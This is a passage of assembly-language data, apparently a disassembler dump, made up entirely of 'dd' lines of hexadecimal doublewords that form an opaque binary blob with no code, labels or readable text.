		dd 233202E5h, 6E611315h, 0C10CB8C4h, 29BC3D64h,	0F89D0FC2h
		dd 0E0C19101h, 0F082A5F6h, 0DE50B045h, 58006F90h, 25728A4Fh
		dd 3BA4C369h, 7C00F8BFh, 0A9289BECh, 0AE008637h, 44884C3Dh
		dd 4810A346h, 47120B9h,	0EF989521h, 0F4DCD139h,	0E979C9E1h
		dd 7081B093h, 280990AFh, 0F01BD1h, 0F4A949D4h, 95DBF79Eh
		dd 1021A306h, 215534h, 2C45A756h, 0BB39D3E8h, 6AEE3700h
		dd 4868C063h, 3D440020h, 4CBEF74Bh, 0FCA11140h,	0EDBFECA6h
		dd 72D6E91Fh, 94305CA4h, 92436Dh, 0B679FEF4h, 68EA13D1h
		dd 0DC163300h, 0D993F56Bh, 9BDE0020h, 0AD661835h, 2200586Dh
		dd 0CF4B6A81h, 1D855C2h, 0E3968BFDh, 40FC6954h,	3277838Ch
		dd 7CB3140Fh, 396540C0h, 0E658D394h, 883048FEh,	34C45C00h
		dd 626E6B71h, 61356F01h, 11C69C91h, 719D034h, 325F30F6h
		dd 0B02560A3h, 4F00F473h, 80FD092Dh, 1931F5Ch, 0D8CE4AAEh
		dd 3038B034h, 2901C258h, 0D5E76071h, 542C0F0Ah,	6B931400h
		dd 0B1042FD4h, 8BBB8A00h, 0B6DC1276h, 0D78C00DBh, 0AAF6DE3h
		dd 310A797Ah, 0DC1CEC11h, 9A77D660h, 4D347814h,	0B202607Ch
		dd 0E7840727h, 0E3C848Eh, 0C0EC17ACh, 82B0D621h, 0E0AB5Ch
		dd 22FBE1C2h, 7E3B6DAh,	0FA5F26A5h, 58FCB05Ah, 941CD1D6h
		dd 923C99ADh, 1D00BCF6h, 0EF4196F7h, 0E6AE05CCh, 84810837h
		dd 0F0E00377h, 9FC16DFDh, 323C306Fh, 9A54B500h,	0A8DDD18h
		dd 5AAF8845h, 1DB64312h, 97586801h, 6C3338EEh, 0A4EF4C72h
		dd 203F0071h, 231FC179h, 24B0BF83h, 24F96B00h, 1528BDD5h
		dd 67C7F66h, 0EF0DC8Ch,	0C30078EAh, 5A6C936Fh, 0B82012B0h
		dd 0A0E24D8Ah, 44A7610Ah, 0AB7D80C0h, 0D25E3638h, 0A4F8A100h
		dd 6453038Ch, 7A4C01E3h, 8F4B5243h, 0F7C420F1h,	5E761D00h
		dd 24AA20D7h, 499B00D2h, 3AE2CA87h, 6026979Eh, 7C05F037h
		dd 0B84167F2h, 0DE6B5A69h, 5A90BE8h, 0B7FEC877h, 2F60AE2h
		dd 0F9C200ACh, 704CE671h, 2AE86107h, 68A0DDC3h,	1E2FDAABh
		dd 4FE2EBh, 48A86E0Dh, 4B00FB39h, 0C8EE2E62h, 0FD8538E3h
		dd 58059040h, 39290245h, 0E4B13A63h, 0A0C7B080h, 3B0BD1F7h
		dd 56E275h, 0DD113428h,	94F4056Ch, 74F2D6h, 47B505CCh
		dd 24022270h, 833508EEh, 8A00E1D5h, 0F0D103E3h,	9E3DB612h
		dd 6A791100h, 55B1CE7Bh, 0FEB50054h, 76821C0Dh,	0A63018DFh
		dd 5522983h, 0C5E9004Dh, 2A960CCDh, 0AD3DDDD6h,	6CB7004Bh
		dd 48C6FFD3h, 0D8F1092Fh, 819FCCCh, 8EC720ECh, 1135F800h
		dd 246D442h, 99850034h,	870E8439h, 5F00DA6Bh, 569533D8h
		dd 1293B309h, 0E5A9EDh,	0E92D9BC0h, 7A1C31D0h, 1970A389h
		dd 0ECD43A9h, 5C86C1F9h, 0D6990AA0h, 7900E2DAh,	0F8E83D6Eh
		dd 0F5F376h, 0CAB59D68h, 1348205Ah, 977F7E17h, 87816200h
		dd 1E44460Dh, 0C061E6CDh, 9E5CB412h, 0EE07E524h, 0C15EDFDCh
		dd 0D4EDBE60h, 0F1500E2h, 0A7F414ECh, 4407FEB2h, 0A22825B6h
		dd 3880C4EAh, 1800715h,	5A3100C4h, 8C62B117h, 960060E6h
		dd 0C6587AD0h, 3D060E40h, 9502C3F2h, 0B8CB78C2h, 29007070h
		dd 5C2C1A26h, 1C84313h,	616AD221h, 2D7C1C37h, 34BF00C8h
		dd 326CBC84h, 0C5DE01D0h, 19267537h, 7E28F4E1h,	6D4F9B03h
		dd 501822h, 82B9F940h, 0B4951D4Eh, 2E142C00h, 21069D92h
		dd 0E973CFh, 0F20398C9h, 904D3AC1h, 0B6DFB900h,	0A4A19E81h
		dd 0AE081E8Fh, 69398074h, 0A9212B13h, 0D0C69607h, 0CD00DB9Dh
		dd 2CB0C58Ch, 13B3A1h, 0E4063046h, 6226E3DCh, 96007CF6h
		dd 25F0E2FCh, 0BA6C00D8h, 0F47DAD40h, 0E005F21h, 5122B536h
		dd 98343C6Dh, 1B750264h, 0BBC2D5D9h, 6E840468h,	3A898703h
		dd 0C0CC36B8h, 0F60C76h, 695043DDh, 0AA991ADCh,	0ECD6081Ch
		dd 30A23C80h, 27A7D12h,	35C80A78h, 0D480374Ah, 0AF20D29Ch
		dd 0F70434Ch, 165239D9h, 41117F19h, 0E6F03A71h,	547937AFh
		dd 0EED3C080h, 5C073F32h, 84418A29h, 70728040h,	0BED70152h
		dd 0DC6286A2h, 0D2CCF830h, 2500AF78h, 48A38B99h, 0C290A412h
		dd 32C9D120h, 0F801C48h, 520331F0h, 936E9139h, 0AFC7C112h
		dd 0B76ADC40h, 5F583B0Eh, 5C74EC0Fh, 0CCD19F02h, 7FB12080h
		dd 6A0C8C54h, 890ACDCh,	138E04A5h, 0D00A153Ah, 0BCF386E0h
		dd 7C3FA4A8h, 4CA1C0C0h, 0B82B16h, 17FF917Fh, 2458BDF9h
		dd 31000BE8h, 8E64F7Dh,	3198A9Bh, 17D00EFFh, 7EF829ABh
		dd 0F00E1E7h, 968A256h,	7DFE3Ch, 0C7D4309Ah, 89E85A60h
		dd 0FAE3Eh, 0FA5BBDAFh,	726E381Dh, 6DFB00D9h, 84A1A6E2h
		dd 0F2000FB0h, 4D5C0A0Bh, 0A4B9173Dh, 0EBB1C0B8h, 214E7391h
		dd 9379BE0Eh, 9A66802Ah, 0FC7DB5D8h, 3EC07C1Dh,	25012797h
		dd 7AB31B9Dh, 0E0B4F1A0h, 69E8F956h, 0F4C310CBh, 7D800074h
		dd 0F793053h, 0BC083B00h, 0B52B8F6Ah, 1B4E0031h, 19A273BFh
		dd 0F0F179B3h, 9E1375C5h, 321BC227h, 26300708h,	0C79133C3h
		dd 0C4E40BDh, 9C0166B8h, 9D7E7023h, 6449712Dh, 0E0BB041Eh
		dd 0CF16E4A1h, 8183BA10h, 210053A0h, 13F16070h,	195261D9h
		dd 849D1BCh, 93218069h,	50B4F158h, 59560033h, 7DB39120h
		dd 343EAB65h, 16571722h, 0AAD88820h, 418801C8h,	393229A4h
		dd 0D4089894h, 0A2FA21h, 0C615BEC8h, 5936DFBDh,	0F13B3018h
		dd 67D5C729h, 416FB9C9h
		dd 80093808h, 7B862511h, 3B728EA8h, 9E654DCh, 4500211Dh
		dd 79F67B7Eh, 1E8E9ED5h, 0B049B306h, 36EDE1A8h,	565E4101h
		dd 81C9EB88h, 5FB81882h, 94A7B989h, 0EDA78198h,	4E118031h
		dd 0B7651317h, 9740C34h, 4608FCAFh, 0F7521C0h, 1A8D613h
		dd 8EA6D2FBh, 0DCA2D918h, 0B00F6C5h, 233945B9h,	0E4B1BED4h
		dd 0DA260F55h, 0D5838F74h, 906468C8h, 8B600DE8h, 8E23AD7Bh
		dd 21119Ah, 0A7B834Ah, 0EA432C68h, 7ADF07D9h, 853DFE6Eh
		dd 0C6DC5E56h, 88C1D3BAh, 0FC992D28h, 63028446h, 79D916F1h
		dd 96106531h, 0CE28F15Bh, 0BD20F813h, 0EDB91F83h, 3EB8734Ah
		dd 0B314990Ah, 8A8F004h, 8A918FBh, 9C4187C8h, 0F940CCC4h
		dd 1892C8A1h, 8486B63Ch, 0AE148EABh, 1E54B4h, 7F8FDEDBh
		dd 619EFBD5h, 8406562Ah, 0A127650Ch, 0A2B15Bh, 0E7DBCEDEh
		dd 0A9B31FDAh, 9215301h, 188F5FA8h, 33808042h, 0D912F1E0h
		dd 0E07C5948h, 0E0F15792h, 5FA502E7h, 74EF3C3Dh, 0A3461446h
		dd 61881338h, 47C414B7h, 130B7140h, 0D1FC66CEh,	0AD39B01Ch
		dd 213BEECCh, 0EB96002Ah, 73FC9372h, 0C0131E0h,	0C7D16CCFh
		dd 0F1820BD8h, 7F49CB90h, 8819C484h, 76008F0h, 9BB38C21h
		dd 34AE03C2h, 247B10C3h, 3A2F05E0h, 0B394D8A0h,	20C0A630h
		dd 46F7022h, 0E2E5B82Dh, 0D98C885Ah, 60C46044h,	9B4FE80Dh
		dd 2490E187h, 0D575B109h, 51680031h, 63203B79h,	4BA89D0h
		dd 322D4EA0h, 6BB020C3h, 668CD9E9h, 98A04895h, 5E131080h
		dd 448CFCB7h, 8006E45h,	3EE14F13h, 1857FEEFh, 580E253Dh
		dd 37608B5Fh, 65688E29h, 0AAF7A6Bh, 708F0612h, 11F8488Ch
		dd 0F1628083h, 8C71D915h, 956644h, 0A3EFF15Ah, 0DD418E58h
		dd 8C4A9E28h, 1957BA05h, 0B4400C39h, 0FA69DA40h, 43C8267Dh
		dd 0B1560074h, 0CD038AD9h, 0F02394A3h, 131501A5h, 2324B763h
		dd 0D738010h, 3EE63C13h, 8B8A17A9h, 91648C76h, 0F15E807Fh
		dd 8C51D911h, 3916444h,	45C0F156h, 610042EFh, 0F535974Dh
		dd 0E943203h, 7E4B8B4Ch, 0A609D20h, 251F47C8h, 2CC4023Bh
		dd 708E2974h, 0CBC04688h, 27C7752h, 0D5438E2Fh,	0A080364Eh
		dd 6C18ED6Bh, 463D660Ch, 505FA96Ah, 54175090h, 0DCDCC8h
		dd 0D7C6261Ah, 0B3D574CEh, 8227103Dh, 94B9AD66h, 11889D65h
		dd 0A5FC8069h, 18E085C4h, 7935EE70h, 127A0DD7h,	0A7D52609h
		dd 74688408h, 300EC8C2h, 0AE167B8Ch, 3C38A28Eh,	7B84264Bh
		dd 8E656040h, 0E300D11Eh, 0C3B6AAC2h, 75B106ABh, 5E092490h
		dd 55A080E0h, 0BD7C780h, 0DEB21488h, 81323E99h,	9312BE10h
		dd 865FC0B4h, 0D4545441h, 12048CA2h, 0CB76013h,	70204262h
		dd 309E130Ah, 5659C717h, 2003F1Ch, 0ABEC04B8h, 16E176E0h
		dd 4CA5BCDh, 6E35A0h, 237D9043h, 0FC0D263Ch, 3D058EC4h
		dd 0C8A11629h, 0A839925Fh, 7FEA069h, 3853C40h, 55B134FBh
		dd 790EC617h, 87A2CABAh, 8F2030F1h, 0F6552880h,	9D917A9h
		dd 232C3A52h, 11063DCEh, 0F8B9FDF2h, 4DB73104h,	1CC41045h
		dd 63A1B845h, 2552A440h, 0EED8CEh, 0F371161Ah, 4457C562h
		dd 93E4FF02h, 883C8164h, 0DA88D4C4h, 85F4105h, 120896A2h
		dd 886300Ch, 0DC321F8Eh, 96ED02B0h, 0F4C863A7h,	98A071C0h
		dd 40333E01h, 0A3494951h, 55E823FFh, 0F0C8A80Ah, 88749414h
		dd 0A0F880D5h, 12CB4DC8h, 0BBE3Ch, 0E1D783A1h, 4C03BA79h
		dd 312840CEh, 172D1880h, 7ABE39C0h, 9B003D7Ch, 0F8B99AE7h
		dd 28EB8E68h, 0F1F06169h, 8C85AC20h, 17F16404h,	98CE81D9h
		dd 0F15C9700h, 0B7AD2BAFh, 76423D04h, 30A2BED7h, 5D3064F2h
		dd 47921979h, 2386C0BDh, 30D2A200h, 0B10085BEh,	5C7EE45Fh
		dd 2A309E90h, 0DC0E39h,	0AA56CD26h, 8145C942h, 0D4F48815h
		dd 85DD3A10h, 14EDD309h, 479B1682h, 604344B0h, 0C18ECF1h
		dd 0D6EF8ADBh, 8602B9D0h, 85BB8EB1h, 18B8807Bh,	612B9A79h
		dd 755720C2h, 0B19C6415h, 44AA8626h, 600C9022h,	0E980B514h
		dd 0E9D00118h, 0A6E541ACh, 66B02062h, 26487E49h, 0DD6418BCh
		dd 90845899h, 0C1AEE7D5h, 0C819AAE5h, 0BC1DB75Dh, 75066574h
		dd 803425h, 0F29BDED1h,	438F3DB6h, 0C156B4A0h, 71B70530h
		dd 300A7E55h, 0DB611739h, 8814FCCAh, 1F80E92h, 6C97C8Ch
		dd 0C7E4A489h, 0E93D057Fh, 0C81757A0h, 0CE0030FCh, 1F3E91F7h
		dd 59C901Eh, 0B0E062C4h, 824FC0D4h, 38D47B0Bh, 56961AFh
		dd 5C541088h, 6979A804h, 29D8394Fh, 8100773Ah, 0D2F6E876h
		dd 2AF59FF0h, 885CA1h, 0EDBBDCECh, 396E42E1h, 6B795400h
		dd 0B392B13Dh, 90935C73h, 0A70D187Fh, 0FF04F057h, 0AFC2D8A0h
		dd 594CC40h, 8FCA1E77h,	8834CE4Eh, 0DB00CB6Ch, 57BF5BB2h
		dd 33AF8601h, 0DC527953h, 6BBC5428h, 60F33F8Ch,	6C25DE80h
		dd 0E5C1FCBFh, 0C0618630h, 518DEB92h, 6C609480h, 0B23F40FEh
		dd 46D154B9h, 7B004118h, 26CE3BF1h, 6529CC3Ah, 813E2152h
		dd 2F0F68h, 550DB32Eh, 89D0D05Fh, 8E29C530h, 4D8C8019h
		dd 9512B15Ch, 0C40CD17h, 5296231Fh, 0C6881910h,	0C459FEA2h
		dd 0A1982066h, 955D6404h, 2884088Ch, 5B440C7h, 5091894Eh
		dd 9032B01Ch, 4066C425h, 4C8EE01Ch, 906A34E3h, 0DBC7416Ch
		dd 0EE398C18h, 304413Ch, 976DE5F0h, 8B997502h, 9093D428h
		dd 0EEE07F16h, 3ED8A820h, 847430h, 31FC1817h, 279A4CF9h
		dd 0B229CF01h, 0A9BA6FDh, 0E965D024h, 0DD365FD8h, 58931490h
		dd 1348F2Ch, 1A439465h,	14B18967h, 61E812B1h, 0FE37A8h
		dd 51C5C38Eh, 3065C8D3h, 30095C82h, 0A9117B87h,	22887A8Eh
		dd 7B7F4680h, 0D5BCD1h,	34B51F2Bh, 27CFD9E5h, 7020B813h
		dd 0FDC34C9Ah, 3BA8E3EAh, 9703B368h, 0ADEB065Bh, 0BBB02859h
		dd 6E524EBCh, 849A2814h, 0B0806F7Ah, 4A3A2E23h,	1EB91340h
		dd 57094D74h, 0A2AC3330h, 0A81430D0h, 216DC3Eh,	0D7C2DDB1h
		dd 4DD068D5h, 0D92740C5h, 0CA33A218h, 5CC7DB18h, 0CC90E0D2h
		dd 247CF910h, 0D1598C39h, 0B886C3Ch, 0B8189C5h,	0AC588A8Eh
		dd 8148881Eh, 0FAD67B00h, 6894BC4h, 0E96D1737h,	146C4311h
		dd 0C951CAB8h, 81586434h, 8D09D98h, 54319608h, 68979145h
		dd 6D040478h, 0B048005Ah, 0CCEE76Bh, 0C217582Dh, 64001C59h
		dd 5F3D067Ch, 58F68C65h, 0BC483CAAh, 3B011222h,	6B2D8648h
		dd 0FEE4FD62h, 32E712B0h, 0B1F80E66h, 5AA1BE82h, 9EAED848h
		dd 2538FBF4h, 5C0D007Bh, 0B3DBBBFh, 7A24B849h, 8059DD39h
		dd 0C654F91h, 791EBA2Dh, 85A79F8Ah, 38CE896Ch, 0F6C06788h
		dd 98FD979Fh, 485E2088h, 0FE8A0094h, 0EE12A4BEh, 0C2F86890h
		dd 0E5DD0070h, 19F9F1DCh, 154A277Eh, 46B60449h,	40EC96DCh
		dd 9B5C28C5h, 6ECE5203h, 0D30F9102h, 1CA4FC61h,	12549808h
		dd 0B4D6C7F1h, 0C502BF30h, 8F1BAA6Bh, 7B384048h, 388E80D2h
		dd 2C2D413Eh, 46741463h, 8ABD0066h, 0DDE22654h,	1DF9D3DAh
		dd 97CD0A4h, 420F0D45h,	9451DCh, 795F90B6h, 192C710Ch
		dd 0A6111CB3h, 64131680h, 3C962CB7h, 130ED05Bh,	0AE2602F6h
		dd 0E05281D1h, 5FC898A0h, 0B941888Ch, 56111C2Ch, 0B3E90961h
		dd 181C04E5h, 0DB92F8D7h, 0B19060E3h, 603AF055h, 0C3B0E159h
		dd 2A248202h, 95933835h, 49C8648Bh, 439F64C2h, 0A0DEDB4Ah
		dd 3946631h, 1DFA4339h,	710062A2h, 0BDABCAB9h, 7A9F3CFh
		dd 0B30E8003h, 0E60B132Ch, 8F3201B0h, 6F413896h, 0DEE8CB49h
		dd 765607EAh, 0DFCC28E9h
		dd 7D717840h, 0A26CD0Fh, 5A134C44h, 0D023903Ah,	4CA9AD00h
		dd 0A94875AAh, 90624598h, 0A058A042h, 0BEC8C858h, 3E0C6E83h
		dd 50818D83h, 199A383Dh, 0B80130B8h, 5040EEA0h,	1E474994h
		dd 26DEFE00h, 0A1791780h, 8AC300C5h, 66988BDh, 6504E0E4h
		dd 0A5D55B7h, 0BCDCF0h,	8ADD1A1Fh, 0BF9FBE9h, 49D12491h
		dd 20004C18h, 1FCD2AD4h, 5014750Dh, 0E6C164B9h,	605C49CFh
		dd 413E44CEh, 0C066B936h, 231C32FAh, 0F15D017Eh, 7349D910h
		dd 559080B4h, 0FC4793F1h, 13633DC7h, 53B11C0Ch,	0D93DE028h
		dd 0D4C624BAh, 64A11885h, 14ED1C81h, 0D9808204h, 605BEC84h
		dd 278CC8AEh, 6C16C441h, 0C8A6FE00h, 662D521Eh,	25452A57h
		dd 86B607A8h, 0C0C5AF06h, 0F7DDB78Ch, 8805CC9Ch, 0F4A0AAEBh
		dd 0FC53DB8h, 0BADD7882h, 0BC80383Ch, 0B2A69F2Dh, 7434AF1Dh
		dd 15813CE6h, 90A0C6A5h, 4D7C8430h, 4F84C855h, 0C52CE4D6h
		dd 902F4316h, 73C28C8h,	0F2327A10h, 0FA04E57h, 2DDCC582h
		dd 59644D00h, 6201A2B3h, 90990081h, 3910EBFFh, 82036509h
		dd 0DA85B8C6h, 68EA0EFh, 8994010Eh, 90FF6C3Bh, 0ED1084C3h
		dd 0C4905591h, 0BB6824Fh, 0EC197B1Eh, 8014100h,	51B8DAC5h
		dd 0B9D74700h, 3EC6117Ah, 1EDB741Eh, 8420F388h,	80D3163Dh
		dd 0DAD5B7C3h, 3C144249h, 54F0B8Bh, 801CB78Dh, 2CB40D31h
		dd 5549A197h, 0BC010318h, 9809A291h, 98648DB3h,	4400A7B0h
		dd 30A360CFh, 3DB1139Fh, 4820D039h, 0A24E0ED7h,	0FB10A440h
		dd 160E7CEh, 389089D6h,	0F002F0EBh, 5EFE58ACh, 292EAA02h
		dd 4A378A53h, 0D9094154h, 7B13FC2Ch, 92C044FBh,	2C081659h
		dd 20A093D1h, 91387264h, 441C900h, 7FEDFC4Eh, 789D00BCh
		dd 0EEDBC7C3h, 1712A97Bh, 30CB9BB1h, 27C04AC8h,	0E05966F0h
		dd 1CE31701h, 0E5AD03EBh, 981354BAh, 5CD0CB36h,	0BEB2B619h
		dd 47465EDCh, 0D701DB00h, 0B444DEE0h, 30E61117h, 108EB88Ch
		dd 246319B3h, 5E1018BBh, 88C4FD13h, 2C005B28h, 0CCFA6E84h
		dd 0BA2F9AFh, 0FD43E75Fh, 19E42465h, 79B762h, 0FA51DE62h
		dd 25846B0h, 4189C8ABh,	608C79ACh, 2C8A3FBh, 0A0BEB0Eh
		dd 834C2BC4h, 0A0A80FC8h, 4DE94DB9h, 552C5035h,	40F16008h
		dd 0BB5A2846h, 8218C80Eh, 78C027C2h, 354D1A68h,	18493913h
		dd 0BC402C78h, 0F02C8C19h, 5A11E495h, 0E04C4C4Ch, 869444Ch
		dd 187E4082h, 7000C0F1h, 0F7052330h, 87B0B108h,	904F8FFCh
		dd 8B279D6Ah, 0C11A2016h, 43ADBB00h, 18FB26CFh,	70B11694h
		dd 5F886744h, 483F5E88h, 7280C544h, 91D2B3C7h, 42C20102h
		dd 968ED27h, 88B82D46h,	7B88C00Ah, 82528EAAh, 80478378h
		dd 3D66B07Bh, 0B0524442h, 430F30B8h, 0A22F674Bh, 6AD41FB1h
		dd 116C9DB8h, 0BF4B8143h, 6422D9C7h, 95EB1073h,	0EDE1046Ah
		dd 78A33E3Ah, 0C9BB2E09h, 744828C2h, 4904184Ah,	793DF467h
		dd 4A5034B0h, 923089CCh, 0CCA32E71h, 17308478h,	9B7C21C9h
		dd 8B0A0070h, 4F33AAE5h, 0FA022427h, 0DCA9D571h, 9EFC90A0h
		dd 0E70A3D8Ch, 0FEA0B1Fh, 99644429h, 2320A8A8h,	131101A1h
		dd 0E04B75Fh, 13006F3Dh, 3B6A1DC7h, 4D26EB8Fh, 0B080185Dh
		dd 76331686h, 6CA2480Fh, 0EADB8A08h, 0B11A2A00h, 95B836C7h
		dd 6A919897h, 72ED4180h, 0E4259055h, 6AA0901Ah,	0A5340039h
		dd 6B2936FAh, 8A18DB62h, 5F78E903h, 12652875h, 149A17B4h
		dd 0A09495B2h, 0B944C324h, 1024EB3Dh, 4B7070B1h, 23042FBDh
		dd 94080165h, 9EC4B414h, 21F0A169h, 1E814965h, 0C402FEC6h
		dd 8B7012BBh, 0C021C874h, 9D1FFD1Ch, 0EA664D00h, 3D65D85Ah
		dd 67161677h, 23843AC4h, 0B4A401CCh, 20B001FDh,	71C12980h
		dd 513F3D15h, 7909447Ch, 10C2FF92h, 6553E450h, 0ECC800C4h
		dd 8CA78443h, 0EB694C75h, 0C084D127h, 0AE04C8EEh, 4B3ED901h
		dd 0ED8D6178h, 7DFF28D8h, 642F096h, 0A8130A83h,	0AC847855h
		dd 91163930h, 1E62003h,	43DA1B0Ah, 0F8733FABh, 0F008319h
		dd 0B795FBADh, 0A1159975h, 2028DBE4h, 6DBC485Ch, 8F708Ch
		dd 7F0CE15Dh, 3F39DB49h, 20AE1524h, 0BBD8D160h,	143300F7h
		dd 495D91AFh, 84982FC2h, 98098E25h, 0E243860Ch,	847E5867h
		dd 142F1122h, 0DA2C11BAh, 10959508h, 52FBDCh, 0B264BD8h
		dd 0B27D0256h, 129A1D4Ch, 248DE15Fh, 69BC3478h,	0DB34008Ch
		dd 9857E910h, 35B8FF04h, 0AE500D50h, 0B18BA44h,	0B5BDEEB1h
		dd 0CB99E884h, 0C044C81Ch, 0DD916186h, 3E788A04h, 0C4CE0BF9h
		dd 0E0CF4588h, 8F0CBB71h, 617927B3h, 1FB6B0A3h,	0F6D8DB89h
		dd 7E2C64D8h, 0B2D040Ah, 5058425Ch, 563F22C4h, 84BC91F0h
		dd 409BE065h, 2C59F3C9h, 5A0808A6h, 0CB8E0357h,	0A80A58F9h
		dd 383B4F1Ch, 91D41725h, 0A141804Ah, 38E2D3Bh, 0FB14F5DBh
		dd 0B2F4BCB9h, 86F63ECCh, 5B7981CFh, 29B32C80h,	7474AC44h
		dd 6004CF46h, 8C305436h, 0A507D14Ch, 0BE938EB7h, 0E3CA5670h
		dd 0E09F1CFAh, 419242DAh, 0CCD10575h, 8D800F11h, 0AA8EAF7Bh
		dd 4C20448Ch, 497B8500h, 0D494933Bh, 0CCFF0C18h, 8B211A39h
		dd 0A40DE100h, 827884FEh, 417C0014h, 0C585CFE5h, 5F0327D4h
		dd 0B392734Fh, 0AC84C5E4h, 0CCF240A2h, 1541A930h, 0E43642D5h
		dd 2FB95A71h, 6B238Ch, 0C560D69Fh, 9905C495h, 6139B43Fh
		dd 0CFEDCE0h, 0EE2B4426h, 8B7F05E1h, 0B25C3D79h, 0A6C10200h
		dd 7417840Eh, 79506014h, 0CFF14346h, 0CB69A0A6h, 576C8240h
		dd 50F406C1h, 0ADC40412h, 91838E0h, 2528BB4Fh, 2002C009h
		dd 0A005724Eh, 0B0AE980Eh, 9B4F0804h, 4B4A8C3h,	665C7CB1h
		dd 48BCDCA8h, 204A018Ch, 0C8DB163Ah, 0A2C83392h, 0B1C43069h
		dd 6A933009h, 0BDA802A0h, 545006Fh, 94A29CFCh, 21790C51h
		dd 74009718h, 45FB6124h, 93DE85Dh, 51A1EB93h, 0CFD9C4F1h
		dd 4B04E518h, 0F6AE2098h, 3C2240BCh, 0C05C50C8h, 418DC8AFh
		dd 0E044CC48h, 4C8A7FFh, 46E5B9BCh, 99E3433Ah, 48A05C5Ch
		dd 8DEB04DFh, 0B4EB1F5Ah, 21ACB78h, 7CC2DC4Bh, 0E070CAEEh
		dd 286B995Ah, 0CF67A700h, 0CB58889Ah, 0BB8E8F06h, 9DA056E1h
		dd 3C5E2812h, 28900DCh,	0CA5A202Ah, 0A15BD8FEh,	0BE52040h
		dd 0CEC199h, 0A7673416h, 0E0ABFA9Dh, 0B9030901h, 0BFE6F211h
		dd 0D9188182h, 4508FBAh, 80DC175Ch, 0AD2BED90h,	9D07ED1h
		dd 0E57FE8AFh, 8A1098F0h, 0C9DC5E4Fh, 0F0A089C3h, 7D5ADD45h
		dd 0DC9B20D2h, 1004DD81h, 0D46B2F23h, 5CD44D00h, 7259CB06h
		dd 814390C9h, 380D3AECh, 0AF625840h, 8BA424A5h,	88DB05FCh
		dd 0B7DC42E6h, 86A4A3Dh, 3C4CD460h, 83BE183h, 38AD4182h
		dd 38E77BEEh, 8289714Fh, 0E40238C4h, 0D02B74F5h, 7CE0626Bh
		dd 0D1E42B80h, 0B55CF4DAh, 49664205h, 24C0C408h, 6237B16Dh
		dd 40EAD1D4h, 70E28E04h, 0B5198400h, 95F2A2AAh,	160E9900h
		dd 6E714DA4h, 0A7AD014Fh, 7C81963h, 5F2C70F7h, 983A922Ah
		dd 8A9024B3h, 2AA4B192h, 0B56D7C20h, 0BB7269h, 0BF7E17E3h
		dd 9A68B022h, 4B46E08h,	3A2E9364h, 1CC2338h, 905FAD3Fh
		dd 2349822Fh, 822AD91Dh, 8F3E3D48h, 738A8554h, 0C11094h
		dd 0F8448EB0h, 0BBE0CCA6h, 2F733B4Dh, 3D32E209h, 0B03CC846h
		dd 0E98F3B65h, 0F0445F92h, 1E078EA8h, 0C78B1D0Fh, 418FDE40h
		dd 0CB064FB0h, 0C049C864h, 7D23881Ah, 0AFA82113h, 71C33002h
		dd 0D57E0154h, 0E498352Eh, 0AD243D57h, 0B8010416h, 19897DEBh
		dd 206A80F5h, 8220E474h
		dd 945C4F00h, 2F723757h, 1160966Ah, 224B003Ah, 6C0C96D4h
		dd 1D88EEFDh, 329450Dh,	5209D110h, 625AA872h, 4F00286Eh
		dd 53DF71ECh, 660C275Ah, 0B93555B9h, 939A2579h,	388F9C61h
		dd 0E5407260h, 0BC8B680h, 0F0051987h, 3DF04247h, 0E45C573Ah
		dd 27412F44h, 2FBAE542h, 0FC025813h, 0D9AEC1D8h, 18D4D1A4h
		dd 662516E0h, 4E1E013Ah, 0FCC1B840h, 0A097392Bh, 6DD41F4h
		dd 0EE10C547h, 0F8F8A8F5h, 18168C42h, 0D8D0443Dh, 68A914Ch
		dd 165A5CDCh, 150999B9h, 2FF4F2D1h, 0DD3D65F8h,	8042C8B1h
		dd 55182C47h, 0BF103842h, 1B1584CBh, 4E3A321h, 45A1DCE2h
		dd 603C31D5h, 0B1288E48h, 83174870h, 3AF1C5h, 0B901D023h
		dd 0D7EA99F1h, 34CEA441h, 0C8E7FD02h, 80644744h, 172C79AFh
		dd 0B6506262h, 34920B5Fh, 45794C51h, 7011518h, 0B38E52B4h
		dd 782C6899h, 900ADF11h, 8C49A858h, 2E0FB48h, 0B976EEA4h
		dd 40205C82h, 19D39478h, 12C3B200h, 23A6B586h, 0BCF22589h
		dd 98F71890h, 7402FB03h, 88544AD0h, 785781A6h, 0F26D00A8h
		dd 2220E8Ch, 0ED1F1967h, 5C04B99h, 0D84E5797h, 72503AA6h
		dd 11257018h, 48C7B52h,	8306775Ch, 725D4137h, 41AD9404h
		dd 398920E7h, 141C22CAh, 0B2C79BCh, 18C466B0h, 35992200h
		dd 65B1F415h, 0D5800B26h, 0C66B810h, 917417B7h,	0B4D1801Eh
		dd 18C1FA46h, 71C317A4h, 0A0004462h, 59D35511h,	2527ED2Dh
		dd 9C6DF491h, 0A4857C0h, 0AE280520h, 88368F5Fh,	0D4B64648h
		dd 286F026Fh, 3EB464EFh, 1F41E75h, 2AD4F708h, 0D88FE05Ah
		dd 604EA0EFh, 1E23D02Fh, 0B9DBD500h, 25B49ADh, 0CE111F23h
		dd 50E4A136h, 0B0F29F00h, 0A7D4853h, 5E350077h,	900E33C1h
		dd 0F41FBC19h, 5F0B9961h, 43009E91h, 0F0D37D8Eh, 6C49AC00h
		dd 255883EFh, 3022B014h, 50D6DBC7h, 3B20B144h, 3D71464Bh
		dd 932CAC50h, 2E272F44h, 40E4DAC8h, 3375BBFDh, 14B069C0h
		dd 6D0ABE5h, 391991E3h,	988739B2h, 19601D44h, 0BC05FC29h
		dd 393E01CBh, 15569427h, 373C0029h, 0F97088FAh,	923A99C9h
		dd 8B48A695h, 1D3EF0Eh,	78D5C73Ch, 0F04431A7h, 6BF3F400h
		dd 1B5C2CB2h, 482300EFh, 8DD8EC8h, 4B0C0E88h, 0E036DAD4h
		dd 0C8D18A3Bh, 4B186C79h, 0DB8DF4F7h, 0FFEDD402h, 98945F3Bh
		dd 8A69A2A8h, 0E070EC5Bh, 788201F8h, 25F911A9h,	30F890B2h
		dd 14126B22h, 0F060BCB6h, 590D458Fh, 140814F9h,	0C78ABFB8h
		dd 0FA41F0D2h, 3E7B8317h, 0CF2300h, 9EF1BBC4h, 5F30188Eh
		dd 17055992h, 0ACA288CAh, 7B71F603h, 0C8614C9Ah, 7429D6h
		dd 8219E35Bh, 3D5CB156h, 60277709h, 3050048Fh, 8C428008h
		dd 428E2032h, 0DCA1671Eh, 4420164Bh, 3E493D36h,	131785FCh
		dd 0CD47C04h, 0B9BA1442h, 0A808B025h, 31120956h, 2BEA2438h
		dd 0BF758200h, 0D017614Ah, 0AB2D0346h, 6D98430Bh, 243474C0h
